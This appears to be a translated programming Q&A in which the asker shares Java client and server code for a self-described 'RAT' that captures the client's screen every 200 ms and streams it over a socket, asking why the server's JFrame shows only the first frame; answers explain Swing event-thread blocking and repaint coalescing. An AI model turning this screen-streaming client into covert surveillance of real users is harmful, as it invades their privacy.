2012-06-18 58 views
1

我以前有过这个问题,但我不记得我是如何修复它的。我正在研究RAT,迄今为止它只是将客户端屏幕发送到服务器。我用来将图像保存到磁盘,但现在我试图让它显示在JFrame上。它显示第一个屏幕截图,但只显示第一个屏幕截图,不绘制新的屏幕截图。Java JFrame绘画

服务器:

import java.awt.Graphics; 
import java.awt.image.BufferedImage; 
import java.io.IOException; 
import java.io.ObjectInputStream; 
import java.net.ServerSocket; 
import java.net.Socket; 

import javax.imageio.ImageIO; 
import javax.swing.JFrame; 

@SuppressWarnings("serial") 
public class Server extends JFrame { 

private BufferedImage image; 
private BufferedImage oldImage; 

public Server() { 
    setTitle("RAT"); 
    setResizable(false); 
    setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 
} 

public static void main(String[] args) throws IOException { 
    try { 
     Server server = new Server(); 

     ServerSocket serverSocket = new ServerSocket(25565); 
     Socket clientSocket = serverSocket.accept(); 
     System.out.println("Connection accepted!"); 

     ObjectInputStream in = new ObjectInputStream(clientSocket.getInputStream()); 
     boolean firstConnection = true; 

     int width = 0; 
     int height = 0; 

     while (true) { 
      if(firstConnection) { 
       width = in.readShort(); 
       height = in.readShort(); 
       server.setSize(width, height); 
       server.setVisible(true); 
       firstConnection = false; 
      } 
      server.oldImage = ImageIO.read(in); 
      if(server.oldImage != null) { 
       server.image = server.oldImage; 
      } 
      server.repaint(); 

     } 
    } catch (IOException e) { 
     System.err.println("Accept failed."); 
     System.exit(1); 
    } 
} 

public void paint(Graphics g) { 
    g.drawImage(image, 0, 0, this); 
} 
} 

客户:

import java.awt.AWTException; 
import java.awt.Rectangle; 
import java.awt.Robot; 
import java.awt.Toolkit; 
import java.io.IOException; 
import java.io.ObjectOutputStream; 
import java.net.Socket; 

import javax.imageio.ImageIO; 

public class Client { 

public static void main(String[] args) { 
    try { 
     Socket socket = new Socket("127.0.0.1", 25565); 
     ObjectOutputStream out = new ObjectOutputStream(socket.getOutputStream()); 
     Robot robot = new Robot(); 
     Toolkit toolkit = Toolkit.getDefaultToolkit(); 
     Rectangle rectangle = new Rectangle(toolkit.getScreenSize()); 
     out.writeShort(toolkit.getScreenSize().width); 
     out.writeShort(toolkit.getScreenSize().height); 

     while(true) { 
      ImageIO.write(robot.createScreenCapture(rectangle), "jpg", out); 
      Thread.sleep(200); 
     } 
    } catch (AWTException e) { 
     e.printStackTrace(); 
    } catch (IOException e) { 
     e.printStackTrace(); 
    } catch (InterruptedException e) { 
     e.printStackTrace(); 
    } 
} 
} 

回答

0

它看起来像最初调用paint()与image == null发生。这可能不是唯一的问题,但它必须是固定的。

4

就我所了解的问题而言,通过编写诸如Thread.sleep()while(true)之类的东西来阻止事件调度线程,这个问题实际上并不适合Swing的观点。

,你能做些什么来排序了这一点:

  • 把里面SwingWorker循环结构。
  • 直接使用像Socket clientSocket = serverSocket.accept();这样的代码片段可以阻止EDT,因此这些东西必须是 ,单独的ThreadSwingWorker
  • repaint()递归调用被合并从肮脏的报价 富客户端是为理由就上述话题

It is important to note that repaint requests get “coalesced,” or combined. 
So, for example, if you request a repaint and there is already one on the 
queue that has not yet been serviced, then the second request is ignored 
because your request for a repaint will already be fulfilled by the earlier 
request. This behavior is particularly helpful in situations where many 
repaint requests are being generated, perhaps by very different situations 
and components, and Swing should avoid processing redundant requests and 
wasting effort. 

下面是进一步帮助一个示例程序:

import java.awt.*; 
import java.awt.event.*; 
import java.awt.image.BufferedImage; 
import javax.swing.*; 

public class PointsExample 
{ 
    private CustomPanel contentPane; 
    private Timer timer; 
    private int x = 1; 
    private int y = 1; 

    /* 
    * This is just JFrame, that we be 
    * using as the Base for our Application. 
    * Though here we are calling our 
    * JPanel (CustomPanel), whose 
    * paintComponent(...) method, we had 
    * override. 
    */ 
    private void createAndDisplayGUI() 
    { 
     JFrame frame = new JFrame("Locate Mouse Position"); 
     frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); 

     contentPane = new CustomPanel(); 
     frame.setContentPane(contentPane); 
     frame.pack(); 
     frame.setLocationByPlatform(true); 
     frame.setVisible(true); 

     for (int i = 0; i < 500; i++) 
     { 
      contentPane.set(x, y); 
      x++; 
      y++; 
      if (x == 450) 
       break; 
     } 
    } 

    public static void main(String\u005B\u005D args) 
    { 
     SwingUtilities.invokeLater(new Runnable() 
     { 
      public void run() 
      { 
       new PointsExample().createAndDisplayGUI(); 
      } 
     }); 
    } 
} 

class CustomPanel extends JComponent 
{ 
    private int x; 
    private int y; 

    public void set(int a, int b) 
    { 
     x = a; 
     y = b; 
     paintImmediately(0, 0, getWidth(), getHeight()); 

    } 

    @Override 
    public Dimension getPreferredSize() 
    { 
     return (new Dimension(500, 500)); 
    } 

    @Override 
    public void paintComponent(Graphics g) 
    { 
     super.paintComponent(g); 
     g.clearRect(0, 0, getWidth(), getHeight()); 
     g.fillOval(x, y, 4, 4);       
    } 
}